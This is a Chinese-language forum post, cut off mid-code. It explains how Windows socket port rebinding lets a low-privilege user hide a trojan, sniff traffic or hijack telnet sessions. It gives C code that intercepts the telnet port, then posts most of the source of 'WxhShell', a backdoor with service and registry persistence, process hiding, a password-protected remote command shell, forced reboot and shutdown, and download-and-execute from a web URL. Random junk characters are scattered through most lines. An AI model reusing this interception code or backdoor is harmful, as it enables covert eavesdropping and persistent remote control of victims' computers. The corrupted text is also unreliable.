社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16672阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pv?17(w(\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <QoE_z`76  
u+tb83 ~[=  
  saddr.sin_family = AF_INET; e'?d oP  
~ ew**@N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t>h i$NX{p  
=|JIY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ccd7|L1  
vyx\N{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Lv5 ==w}  
0qd;'r<  
  这意味着什么?意味着可以进行如下的攻击: ESf7b `tS  
qpwh #^2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g(Xg%&@KZ  
at(p,+ %  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )!*M 71  
Q3O .<9S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W0T i ^@  
<pl2 dxy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,vdP #:  
s$\8)V52  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B[_bJ *  
(yTz^o$t|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c+i`Zd.m<  
cxJK>%84  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I/b8  
?kFCYZK|"  
  #include +=H>s;B  
  #include ,JBw$ C  
  #include Am?Hkh2  
  #include    #IrP"j^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lnC Wu@{  
  int main() |%cO"d^ri  
  { O2/w:zOg'  
  WORD wVersionRequested; e%c5 OZ3~  
  DWORD ret; K#sb"x`  
  WSADATA wsaData; ]XafFr6pe  
  BOOL val; 0V,MDX}#_  
  SOCKADDR_IN saddr; HXV73rDA  
  SOCKADDR_IN scaddr; ~S_IU">E  
  int err; (cA|N0  
  SOCKET s; L(n~@ gq  
  SOCKET sc; 2GKU9cV*`  
  int caddsize; -hR\Y 2?  
  HANDLE mt; ~q|e];tA  
  DWORD tid;   <W%Z_d&Xv  
  wVersionRequested = MAKEWORD( 2, 2 ); .&}4  
  err = WSAStartup( wVersionRequested, &wsaData ); 95 .'t}  
  if ( err != 0 ) { Tl7:}X<?  
  printf("error!WSAStartup failed!\n"); t7+Ic  
  return -1; '=5_u  
  } sPTUGx'  
  saddr.sin_family = AF_INET; a<"& RnG(  
   ?_j6})2zY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c@#zjJhW]  
sCCr%r]zL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vrnj}f[h  
  saddr.sin_port = htons(23); nK'8Mo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %+B-Z/1}  
  { r~fl=2>yQ  
  printf("error!socket failed!\n"); 0t[mhmSU,  
  return -1;  2:/MN2  
  } }_/h~D9-T#  
  val = TRUE; &c9Fw:f;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !=:MG#p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j=QR*8*  
  { GhQ`{iJM  
  printf("error!setsockopt failed!\n"); S,9WMti4x  
  return -1; `&[:!U2]F  
  } c%/&@vs7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V//q$/&8(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d?y\~<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B:#0B[  
~)IJE+e>}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WJ4UJdf'  
  { @%G"i:HZ&  
  ret=GetLastError(); `/ReJj&~  
  printf("error!bind failed!\n"); uWtS83i  
  return -1; 2pNJWYW"  
  } )bU")  
  listen(s,2); fvMhq:Bu  
  while(1) bK;a V&  
  { IeI% X\G  
  caddsize = sizeof(scaddr); NWwtq&pz2  
  //接受连接请求 |Pl{Oo+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [Q_| 6Di  
  if(sc!=INVALID_SOCKET) /~huTKA}  
  { RW[<e   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x2c*k$<p  
  if(mt==NULL) iSLf:  
  { f> [;|r@K  
  printf("Thread Creat Failed!\n"); JP@m%Yj  
  break; >t2)Z|1  
  } rWpfAE)!  
  } ! e,(Zz5  
  CloseHandle(mt); s:F+bG}|  
  } L=!kDU  
  closesocket(s); QGG(I7{-  
  WSACleanup(); pYUkd!K"  
  return 0; .+ o>  
  }   S,v>*AF  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,;pX.Ob U  
  { V*uu:  
  SOCKET ss = (SOCKET)lpParam; }4]x"DfIg  
  SOCKET sc; 'wV26Dm  
  unsigned char buf[4096]; !rGI),  
  SOCKADDR_IN saddr; :!15>ML;-  
  long num; QO1Gq9  
  DWORD val; Tm.w+@  
  DWORD ret; slO9H6<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '^3pF2lIw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @_ ZW P  
  saddr.sin_family = AF_INET; Jd6Q9~z#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;OqLNfU3y  
  saddr.sin_port = htons(23); 5<?$/H|7T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b=\3N3OX  
  { n7.lF  
  printf("error!socket failed!\n"); Cy'W!qH  
  return -1; <%uZwk>#  
  } rWKLxK4oU  
  val = 100; k\Tm?^L)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `9{C/qB  
  { .h^Ld,Chj  
  ret = GetLastError(); I19F\ L`4  
  return -1; 2czL 1Ci  
  } usf(U>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -vAG5x/,  
  { ([o:_5/8I  
  ret = GetLastError(); ]=<@G.[=  
  return -1; vg1s5Y qk  
  } ,?~,"IQyi[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pR>QIZq<gT  
  { %~XJwy-  
  printf("error!socket connect failed!\n"); |ema-pRC  
  closesocket(sc); , )3+hnFY  
  closesocket(ss); 2dW-WHaM  
  return -1; G)|HFcE  
  } jF85bb$  
  while(1) 5z]KkPQ  
  { =H?5fT^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oD1=}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HOb\Hn|6jq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qZ1PC>  
  num = recv(ss,buf,4096,0); d0E5;3tQ  
  if(num>0) ED&KJnquWJ  
  send(sc,buf,num,0); Nx z ,/d  
  else if(num==0) O4mWsr  
  break; vAxtN RS  
  num = recv(sc,buf,4096,0); aKr4E3`  
  if(num>0) o;/F=Zp  
  send(ss,buf,num,0); :8T@96]P  
  else if(num==0) U<byR!qLie  
  break; (7!(e  ,  
  } |.nWy"L  
  closesocket(ss); {'aqOlw3<j  
  closesocket(sc); OZ9j3Q;a$  
  return 0 ; k5CIU}H"  
  } (:]iHg3  
WT N!2b  
,W;8!n0  
========================================================== -bQvJ`iF  
H}rP{`m  
下边附上一个代码,,WXhSHELL 'Q,<_ L"  
8Wp1L0$B  
========================================================== CMUphS-KE  
nwH|Hs riU  
#include "stdafx.h" 1uzfV)  
!XceiQu  
#include <stdio.h> J1MnkxJmpQ  
#include <string.h> jZ yh   
#include <windows.h> Z6pDQ^Ii  
#include <winsock2.h> f89<o#bm7h  
#include <winsvc.h> 36UW oo  
#include <urlmon.h> Yy1Pipv  
||NCVGJG  
#pragma comment (lib, "Ws2_32.lib") u{G6xuPWf  
#pragma comment (lib, "urlmon.lib") '11hIu=:  
Hb4rpAeP  
#define MAX_USER   100 // 最大客户端连接数 +O6@)?pI  
#define BUF_SOCK   200 // sock buffer cn{l %6K  
#define KEY_BUFF   255 // 输入 buffer m!if_Iq  
e#{L ~3  
#define REBOOT     0   // 重启 0C_Qp%Z  
#define SHUTDOWN   1   // 关机 N?:S?p9R@  
$% t  
#define DEF_PORT   5000 // 监听端口 ] UTP~2N  
Rv o<ISp  
#define REG_LEN     16   // 注册表键长度 8yl /!O,v  
#define SVC_LEN     80   // NT服务名长度 tJ3s#q6  
EB,>k1IJ  
// 从dll定义API !{\c`Z<#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xu0*sQK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #y%Ao\~kG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9a unv   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vS<e/e+  
2YQ$hL~  
// wxhshell配置信息 $ E6uA}s  
struct WSCFG { b2H6}s"=w  
  int ws_port;         // 监听端口 9!h+LGs(,  
  char ws_passstr[REG_LEN]; // 口令 j+seJg<_  
  int ws_autoins;       // 安装标记, 1=yes 0=no )qe o`4+y  
  char ws_regname[REG_LEN]; // 注册表键名 ;rbn/6  
  char ws_svcname[REG_LEN]; // 服务名 @,.H)\a4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qI:wm=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :#;?dMkTY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 h):o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " OtLJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dr609(zg^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f}4h}Cq  
QB>e(j%  
}; !s:|Ddv  
@"0qS:s]X  
// default Wxhshell configuration aleIy}"  
struct WSCFG wscfg={DEF_PORT, i"@?eq#h  
    "xuhuanlingzhe", V;=T~K|)>  
    1, 5E8P bV-l  
    "Wxhshell", ;?9~^,l  
    "Wxhshell", g!UM8I-$  
            "WxhShell Service", hz|$3*q  
    "Wrsky Windows CmdShell Service", uOx$@1v,  
    "Please Input Your Password: ", m? hX=  
  1, ap!<8N  
  "http://www.wrsky.com/wxhshell.exe", ~@bKQ>Xw  
  "Wxhshell.exe" 6(=:j"w0  
    }; TvR2lP  
8wd2\J,]  
// 消息定义模块 gS ]'^Sr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dewu@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; # L R[6l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;.Y`T/eWS  
char *msg_ws_ext="\n\rExit."; 2}A V_]]  
char *msg_ws_end="\n\rQuit."; XDF" ,N)  
char *msg_ws_boot="\n\rReboot..."; ohl%<FqS  
char *msg_ws_poff="\n\rShutdown..."; =O<BMq{d  
char *msg_ws_down="\n\rSave to "; vPi+8)  
}PJ:9<G y  
char *msg_ws_err="\n\rErr!"; 2ou?:5i  
char *msg_ws_ok="\n\rOK!"; 60Z)AQs;+J  
CpXv?uU   
char ExeFile[MAX_PATH]; mB\|<2  
int nUser = 0; rX[R`,`>Z[  
HANDLE handles[MAX_USER]; O%I'   
int OsIsNt; *`W82V  
ZmDr$iU~  
SERVICE_STATUS       serviceStatus; 6SwHl_2%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zob-z=='  
w_ m  
// 函数声明 V SxLBwXf  
int Install(void); )yk LUse+  
int Uninstall(void); 2#^[`sFPO  
int DownloadFile(char *sURL, SOCKET wsh); P\R3/g  
int Boot(int flag); f]4gDmn^  
void HideProc(void);  E=E  
int GetOsVer(void); /T@lHxX  
int Wxhshell(SOCKET wsl); d=pq+  
void TalkWithClient(void *cs); qJ !xhf1  
int CmdShell(SOCKET sock); T&%>/7I>  
int StartFromService(void); -T>`PJpJuL  
int StartWxhshell(LPSTR lpCmdLine); K67x.PZ  
Onl:eG;@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LYKepk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sf LBi~*j  
UcZ3v]$I  
// 数据结构和表定义 'D bHXS7N  
SERVICE_TABLE_ENTRY DispatchTable[] = V}*b^<2o 5  
{ ]=/f`  
{wscfg.ws_svcname, NTServiceMain}, _Z%C{~,7)x  
{NULL, NULL} 8LL);"$  
}; %$08*bAtB7  
& 3gni4@@  
// 自我安装 vgV0a{u"  
int Install(void) X qh+  
{ [|3 %~s|Sv  
  char svExeFile[MAX_PATH]; v1: 5 r  
  HKEY key; pD{Li\LY  
  strcpy(svExeFile,ExeFile); 1+]e?  
B:l(`G  
// 如果是win9x系统,修改注册表设为自启动 Uhf -}Jdw  
if(!OsIsNt) { c{[d@jt O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pq@ad\8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5VI'hxU4Qg  
  RegCloseKey(key); +VJl#sc/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k3Y>QN|q8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Fb/GZt|  
  RegCloseKey(key); y ^YrGz.  
  return 0; hZy"@y3Yq  
    } (\G~S 4  
  } _K8-O>I "  
} 3 . @W.GG8  
else { A;kB"Tx  
mU*GcWbc+  
// 如果是NT以上系统,安装为系统服务 ? in&/ZrB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P iN3t]2  
if (schSCManager!=0) a*=e 3nS  
{ ,}NG@JID  
  SC_HANDLE schService = CreateService #2pgh?  
  ( sbRg=k&Ns  
  schSCManager, = zsXa=<  
  wscfg.ws_svcname, :Qf^@TS}O  
  wscfg.ws_svcdisp, 6D$xG"c  
  SERVICE_ALL_ACCESS, l|DOsI'r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cu Nwv(P  
  SERVICE_AUTO_START, "k+QDQ3=  
  SERVICE_ERROR_NORMAL, *e^ ZH  
  svExeFile, L Nj|t)Ov  
  NULL, sh0O~%]g  
  NULL, a+Q)~13  
  NULL, Y }0-&  
  NULL, Th-zMQ4  
  NULL {MIs%w.G  
  ); N @k:kI  
  if (schService!=0) L-fAT'!'  
  { '+`CwB2  
  CloseServiceHandle(schService); ( \]_/ W  
  CloseServiceHandle(schSCManager); 3T_-_5[c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <-$4?}  
  strcat(svExeFile,wscfg.ws_svcname); Na#2sb[)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HG Pbx$!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f1JvP\I0Q  
  RegCloseKey(key); R^D~ic N  
  return 0; !OiP<8 ,H  
    } 1[!Idl?m  
  } HzW ZQ6o  
  CloseServiceHandle(schSCManager); sR5dC_  
} /6>2,S8Ar  
} 1aSuRa  
oI^iL\\2h  
return 1; $BG9<:p  
} p t<84CP  
nwz}&nR  
// 自我卸载 1 }:k w  
int Uninstall(void) nuvz!<5\{  
{ Z#9{1sHEP  
  HKEY key; ,]o32@   
D@mDhhK_  
if(!OsIsNt) { A M# '(k(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZM<1;!i  
  RegDeleteValue(key,wscfg.ws_regname); _wm"v19  
  RegCloseKey(key); ak<?Eu9rV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KBXdr52"  
  RegDeleteValue(key,wscfg.ws_regname); !Qn:PSk  
  RegCloseKey(key); Xc'yz 2B  
  return 0;  Q}G   
  } b+hZ<U/  
} w2 CgEJ %  
} K 5!k06;s  
else { c!s{QWd%  
T1D7H~ \lG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N!hp^V<7  
if (schSCManager!=0) 4/HyO\?z5  
{ ww=< =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _))_mxV{  
  if (schService!=0) eqXW|,zUm  
  { a "8/y4Y  
  if(DeleteService(schService)!=0) { o6'`W2P  
  CloseServiceHandle(schService); GAQVeL1  
  CloseServiceHandle(schSCManager); ~bg FU  
  return 0; GX(p7ZgB2  
  } 7qu hp\  
  CloseServiceHandle(schService); wN;o++6V  
  } pp/Cn4"w  
  CloseServiceHandle(schSCManager); :  wb\N'b  
} nJrV  
} VYvHpsI  
*S*;rLH9c  
return 1; %]d^B |  
} h}.0Ne  
g(|p/%H  
// 从指定url下载文件 )0!hw|0|  
int DownloadFile(char *sURL, SOCKET wsh) _bFX(~37z?  
{ S__+S7]Nr  
  HRESULT hr; ^-rb&kW@:  
char seps[]= "/"; ?f:FmgQk  
char *token; _^Rf*G!  
char *file; vfmKYiLp  
char myURL[MAX_PATH]; E+csK*A7  
char myFILE[MAX_PATH]; D{\hPv  
ASPfzW2  
strcpy(myURL,sURL); pZF`+6 42  
  token=strtok(myURL,seps); lZ'NL bK  
  while(token!=NULL) km.xy_v  
  { v"\Q/5p  
    file=token; o)srE5  
  token=strtok(NULL,seps); k'EP->r  
  } lfb]xu]O  
%5$yz|:  
GetCurrentDirectory(MAX_PATH,myFILE); 9tqX77UK  
strcat(myFILE, "\\"); fk;39$[  
strcat(myFILE, file); @>&UoH}2  
  send(wsh,myFILE,strlen(myFILE),0); d8e6}C2v  
send(wsh,"...",3,0); KTd4pW?w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C {gYrz)  
  if(hr==S_OK) Vtr 0=-m&  
return 0; LBbk]I  
else x_AG=5OJX,  
return 1; { +MqXeq  
>4b-NS/}0  
} V(w2k^7) F  
xLX:>64'o>  
// 系统电源模块 6E85mfFS  
int Boot(int flag) dKi+~m'w  
{ HS>Z6|uLY  
  HANDLE hToken; 2wpLP^9Vr<  
  TOKEN_PRIVILEGES tkp; vaS/WEY  
szGp<xv_p  
  if(OsIsNt) { e\tcP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mi6<;N 2w|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z'XFwk  
    tkp.PrivilegeCount = 1; t@.M;b8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yIOoVi\m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G"3D"7f a  
if(flag==REBOOT) { U_B"B;ng+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ze{  
  return 0; 9g|o17  
} tFO86 !ln  
else { BbnY9"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~;9B\fE`  
  return 0; < Pg4>  
} #'_i6  
  } grp1nWAs  
  else { oX8e}  
if(flag==REBOOT) { q!t_qX7u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XSkx<"U*  
  return 0; t,)` Zu$  
} ,=.&  
else { 7 `thM/fN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c>,|[zP{  
  return 0; BRhAL1  
} $i7iv  
} gk1I1)p  
YP5V~-O/  
return 1; Rbm"Qz  
} [yJcM [p\  
049E# [<Q"  
// win9x进程隐藏模块 %lF}!  
void HideProc(void) *$0u A N  
{ C{H:-"\J9  
^/h,C^/;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aq@/sMn  
  if ( hKernel != NULL ) ` zeZ7:  
  { }YfM <  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TGlIt<&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * _)xlpy  
    FreeLibrary(hKernel); Tky\W%Ag  
  } /\q1,}M  
7`9J.L&,;  
return; WyF1Fw  
} /=).)<&|R  
}lvD 5  
// 获取操作系统版本 FFQ=<(Ki  
int GetOsVer(void) <DxUqCE  
{ :7 Ro9z8  
  OSVERSIONINFO winfo; vc0'x4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -]C3_ve  
  GetVersionEx(&winfo); -|"W|K?nq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HN9!~G  
  return 1; fRS)YE@a:  
  else Q& j:ai*  
  return 0; f| P%  
} :OT~xU==H  
h&|q>M3  
// 客户端句柄模块 @ )owj^sA  
int Wxhshell(SOCKET wsl) 2K0HN  
{ Oc8]A=M12  
  SOCKET wsh; r+r-[z D(  
  struct sockaddr_in client; kmXpj3  
  DWORD myID; EZlcpCS  
)u)]#z  
  while(nUser<MAX_USER) 3GqvL_  
{ U bUl]  
  int nSize=sizeof(client); ? BtWM4Id8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?=}~]A5N  
  if(wsh==INVALID_SOCKET) return 1; ]A+q:kP  
f?}~$agc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,<!_MNw[  
if(handles[nUser]==0) ^vw? 4O  
  closesocket(wsh); \D}K{P  
else )FVW/{NF@q  
  nUser++; ,Wtod|vx\U  
  } n%yMf!M .:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1iyd{r7|  
F0 x5(lp Q  
  return 0; ?nN3K   
} @62QDlt;  
HIM>%   
// 关闭 socket Wyh   
void CloseIt(SOCKET wsh) -b'93_ZTu:  
{ >U?HXu/TJr  
closesocket(wsh); P4@<`Eb  
nUser--; ky*-THS  
ExitThread(0); sz4)xJgF (  
} b~uz\%'3  
5:ca6 H  
// 客户端请求句柄 t 1gH9  
void TalkWithClient(void *cs) \i%h/Ao  
{ j[2?}?  
EA_6L\+8&  
  SOCKET wsh=(SOCKET)cs;  o0t/  
  char pwd[SVC_LEN]; C QO gR GW  
  char cmd[KEY_BUFF]; YbjeM6#E  
char chr[1]; BIyNiol$AJ  
int i,j; s2s}5b3  
ZtG5vdf  
  while (nUser < MAX_USER) { 94Wf ]  
rN* , U\q  
if(wscfg.ws_passstr) { H%2Y8}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yv2BbrYyy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }H2<w-,+  
  //ZeroMemory(pwd,KEY_BUFF); 5[NF  
      i=0; kH$)0nK  
  while(i<SVC_LEN) { ?L.c~w;l  
;/.ZjTRw  
  // 设置超时 Pt<lHfd  
  fd_set FdRead; 9*wS}A&Jh  
  struct timeval TimeOut; gQHE2$i>  
  FD_ZERO(&FdRead); MHZ!noAr  
  FD_SET(wsh,&FdRead); an!ceB  
  TimeOut.tv_sec=8; ;`ZGiax  
  TimeOut.tv_usec=0; Id-?her>B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V0y Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t<'-?B2g  
^@V$'Bk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >:7W.QLRU  
  pwd=chr[0]; _h;#\ )%~  
  if(chr[0]==0xd || chr[0]==0xa) { j n[%@zD}  
  pwd=0; O{WJi;l  
  break; tu(k"'aJ  
  } 4'L%Wz[6  
  i++; G+Vlaa/7  
    } O%:EPdoU  
+Ja9p  
  // 如果是非法用户,关闭 socket nU]4)t_o\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  =FZt  
} eq>E<X#<  
erG@8CG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GWP;; x%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X2ShxD|  
7|=*z  
while(1) { '&~A  
Nc4e,>$]&  
  ZeroMemory(cmd,KEY_BUFF); ?FC6NEu}8  
=l%"Om*A  
      // 自动支持客户端 telnet标准   ("HT0 &#a  
  j=0; 9H ~{2Un  
  while(j<KEY_BUFF) { I^'U_"vB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >we/#C"x  
  cmd[j]=chr[0]; 8p3pw=p  
  if(chr[0]==0xa || chr[0]==0xd) { 8!e1T,:b  
  cmd[j]=0; `a.1Af;L  
  break; tF> ?]  
  } Rx e sK  
  j++; 6.fahg?E  
    } +{* @36A5A  
`9%Q2Al  
  // 下载文件 Mq7d*Bgb  
  if(strstr(cmd,"http://")) { +/idq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K%TlBK V  
  if(DownloadFile(cmd,wsh)) C`|'+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {eR,a-D!7  
  else d9/YW#tm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)% CxaO `  
  } [[fhfV+H  
  else { m*VM1kV  
1EW-%GQO  
    switch(cmd[0]) { Umwd <o  
  3e)3t`  
  // 帮助 lW F=bz0  
  case '?': { gHS;RF9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E&G_7->  
    break; 5x/q\p-{/  
  } m<ZwbD  
  // 安装 nLZT3`@~,  
  case 'i': { nU Oy-c  
    if(Install()) LGb.>O^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ebF},Q(48  
    else ,nMc. G3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~,]F  
    break; x+h7OvW{  
    } H^s@qh)L  
  // 卸载 ?&Y3Fr)%  
  case 'r': { |qra.\  
    if(Uninstall()) VK9I#   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GnbXS>  
    else 'c#ZW| A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V%~u8b  
    break; f#xqu +)Z  
    } !" E&Tk}  
  // 显示 wxhshell 所在路径 g+ `Ie'o<  
  case 'p': { l\8 l.xP  
    char svExeFile[MAX_PATH]; E.Hw|y0_(|  
    strcpy(svExeFile,"\n\r"); p-U'5<n  
      strcat(svExeFile,ExeFile); ~g2ColFhu  
        send(wsh,svExeFile,strlen(svExeFile),0); 7{oG4X!  
    break; SZ}t_w `  
    } GXaCH))TO  
  // 重启 B^(0>Da\  
  case 'b': { D]+tr%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Py(l+Ik`>  
    if(Boot(REBOOT)) ;D_6u(IC4:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{gK<T  
    else { 8a{FxCBw  
    closesocket(wsh); O2{_:B>K[  
